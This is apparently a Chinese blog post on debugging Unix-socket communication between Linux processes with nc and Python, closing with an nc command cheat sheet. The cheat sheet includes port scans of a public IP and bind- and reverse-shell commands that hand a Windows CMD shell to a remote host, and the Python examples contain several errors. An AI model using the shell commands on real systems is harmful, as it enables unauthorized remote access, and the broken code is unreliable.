首页 > 代码库 > Linux下进程间Socket通信调试debug方法

Linux下进程间Socket通信调试debug方法

       在一个复杂的软件系统中,往往需要有各个组件之间的数据传递,在组件间数据传递过程中,又会不可避免的出现一些小问题,这时候我们就需要来进行debug了,由于最近的一个系统使用到了collectd和rrdcached来收集数据和画图,它们之间采用了Unix socket通信,因此小小的学习了一下相关知识。


       首先我们来回忆下Linux下进程通信有哪些方法:

  • 管道(Pipe)及有名管道(FIFO)\UNIX BSD

  • 信号(Signal) \UNIX BSD

  • 报文消息队列(Message)\UNIX system V

  • 信号量(Semaphore)\UNIX system V

  • 共享存储区(Shared memory)\UNIX system V

  • 套接字(Socket)


       对于管道和信号我们都很熟悉,shell中常见的“|”,“kill -9”,管道更多用来单向有亲缘关系的进程。消息队列接触的比较少,但使用方法应该和AMQP差不多,通过中转发送与接收,不会阻塞进程。而信号量更多的是一种锁机制,本身不会做实际的数据交换。
       废话那么多,终于讲到重点Scoket了。由于最开始的进程通信源于单机系统,前面几种方式,在通信过程中进程的互相识别方法为进程号(PID),然后随着网络的发展,这种方式则开始落后了,由此产生了Sokcet通信。
       既然有了Socket通信,那就有Socket编程,应该算得上是网络编程必学了吧~操作系统实现了TCP/IP协议簇,使用socket接口来调用,可以实现tcp、udp、unix socket通信。
      当然,我们这次不讲编程,只关心debug,那么问题就是怎么简单怎么来啦。

发送端调试

在restAPI大行其道的今天,应用层的调试我们遇到最多的应该是http了,这个很简单,直接上curl。
curl -d ${postdata} -b ${cookies} http://dizhi

NC篇

到传输层,我们有网络工具中的瑞士军刀netcat
netcat提供的nc命令,具有扫描(比不过nmap)、监听、连接等功能
在本机连接某个Unix socket,直接执行
nc -U /dev/shm/rrdcached.sock
就可以开始给这个socket发送信息啦。


注意:netcat-openbsd才支持Unix socket,并且区分Unix stream socket和Unix datagram socket

nc -U /tmp/socket  
#Connect to UNIX-domain stream socket

nc -uU /tmp/socket 
#Connect to UNIX-domain datagram socket

python篇

python的socket库来实现客户端功能
简单五个步骤:

  • 创建一个socket

  • connect到服务器端口或文件

  • 发送数据

  • 接收返回

  • 关闭连接


  • 非常简单,很适合调试啊

import socket

host=‘‘
port=‘‘

#创建
sockets = socket.socket(socket.AF_INET, socket.SOCKET_STREAM)

‘‘‘
函数 socket.socket 创建一个 socket,返回该 socket 的描述符,将在后面相关函数中使用。该函数带有两个参数:

Address Family:可以选择 AF_INET(用于 Internet 进程间通信) 或者 AF_UNIX(用于同一台机器进程间通信)
Type:套接字类型,可以是 SOCKET_STREAM(流式套接字,主要用于 TCP 协议)
或者SOCKET_DGRAM(数据报套接字,主要用于 UDP 协议)
‘‘‘

# 创建连接

s.connect(host,port)
‘‘‘
如果是unix socket,此处则是对应的socket文件,如
s.connect("/var/run/rrdcached.sock")
‘‘‘

# 发送数据
s.send(‘STATS‘)

# 接收数据s.recv(10240

# 关闭连接s.close

接收端调试

NC 篇

同样的,接收端也可以用nc监听端口来伪装server端。

nc -lU /var/tmp/dsocket

python篇

同样几个步骤:

  • 创建socket实例

  • 绑定端口或socket文件

  • 开始监听

  • 接收数据

  • 发送数据

  • 关闭连接
    多出一个开始监听~

import socket

host = ‘‘
port = ‘‘

#创建socket实例

s = socket.socket(socket.AF_UNIX, socket.SOCKET_STREAM)

#绑定端口s.bind(host,port)
‘‘‘
   如果是unix socket,则直接写sock文件,如
   s.bind("/var/run/rrdcached")
   ‘‘‘
#开始监听
s.listen(5)
‘‘‘   
socket.listen(backlog)
Listen for connections made to the socket. The backlog argument specifies the maximum number of 
queued connections 
and should be at least 0; the maximum value is system-dependent (usually 5), the minimum value is forced to 0.
‘‘‘

# 接收数据
connecttion,address = socket.accept()
‘‘‘
socket.accept()
Accept a connection. The socket must be bound to an address and listening for connections. 
The return value is a pair (conn, address) where conn is a new socket object usable 
to send and receive data on the connection, 
and address is the address bound to the socket on the other end of the connection.
‘‘‘
print "%s"%connection.recv(1024)

# 发送数据
connection.send("success")

# 关闭连接
connection.close

掌握了这两个常用的简单调试手段,是不是感觉轻松多了呢~

参考:

  • https://docs.python.org/2/library/socket.html

  • http://www.cnblogs.com/hazir/p/python_socket_programming.html

  • http://www.oschina.net/translate/linux-netcat-command

  • http://blog.csdn.net/hguisu/article/details/7445768/

附上nc常用命令

【命令】nc -v ip port

【例如】nc -v 96.44.174.9 80

【解释】扫瞄某 IP 的某个端口,返回端口信息详细输出。

【命令】nc -v -z ip port-port

【例如】nc -v -z 96.44.174.9 80-1024

【解释】扫描某IP的端口段,返回端口信息详细输出,但扫描速度很慢。

【命令】nc -v -z -u ip  port-port

【例如】nc -v -z -u 96.44.174.9 25-1024

【解释】扫描某 IP 的某 UDP 端口段,返回端口信息详细输出,但扫描速度很慢。




【命令】nc -l -p 520

【解释】开启本机的 TCP 520 端口并监听次端口的上传输的数据。

【命令】nc -l -v -p 520

【解释】开启本机的 TCP 520 端口并将监听到的信息输出到当前 CMD 窗口。这个命令也是端口转发shell的基础。

【命令】nc -l -p 520 > C:/log.dat

【解释】开启本机的 TCP 520 端口并将监听到的信息输出到 C:/log.dat 下的日志文件里。

【命令】nc -nvv 192.168.1.101 520【解释】连接到192.168.1.101主机的 520。

重点一(正向连接):

【远程运行】nc -l -p 2012 -t -e C:WINDOWSsystem32cmd.exe

【本地运行】nc -nvv 192.168.1.101 2012

【解释】采用正向连接方式,远程主机(注:假设IP地址为 192.168.1.101)
上运行 nc -l -p 2012 -t -e cmd.exe 意为绑定远程主机的 CMD 到2012 端口,
当本地主机连接远程主机成功时就会返回给本地主机一个CMD Shell ;
在本地主机上运行 nc -nvv 192.168.1.101 2012 用于连接已经将 CMD 重定向到 2012 端口的远程主机
(注:假设IP地址为 192.168.1.101)。

重点二(反向连接):

【本地运行】nc -l –vv -p 2012
【远程运行】nc -t -e C:WINDOWSsystem32cmd.exe 192.168.1.102 2012

【解释】采用反向连接方式,先在本地主机(拥有公网IP)运行 nc -l –vv -p 2012 开启2012 端口并监听等待远程主机连接;
在远程主机上运行 nc -t -e cmd.exe 192.168.1.102 2012 将远程主机的 CMD 
重定向到 IP 地址为 192.168.1.102 端口号为2012 的主机上,
连接成功后 IP 地址为 192.168.1.102 的主机会得到一个CMD
 Shell。 
 
 

【命令】nc -vv www.91ri.org port < C:/http.txt

【例如】nc -vv www.91ri.org 80 < C:/http.txt

【解释】提交http.txt内数据包到 但可以跟踪过程。
例如IISput漏洞就可以自定义数据包使用此方法提交。

【命令1】nc -v -n ip port < C:/sunzn.exe

【命令2】nc -v -l -p port > D:/sunzn.exe

【解释】在本地运行 nc -v -n ip port < C:/sunzn.exe 意为从本地 C 盘根目录中读取 sunzn.exe 文件的内容,
并把这些数据发送到远程主机的对应端口上(注:命令行中的 IP 为接收文件的远程主机 IP ),
在远程主机运行 nc -v -l -p port > D:/sunzn.exe 意为监听对应端口并把接收到的信息数据写到 D:/sunzn.exe 中,
两行命令实现了文件在本地主机和远程主机间的传输。


本文出自 “DanielQu” 博客,请务必保留此出处http://qujunorz.blog.51cto.com/6378776/1942670

Linux下进程间Socket通信调试debug方法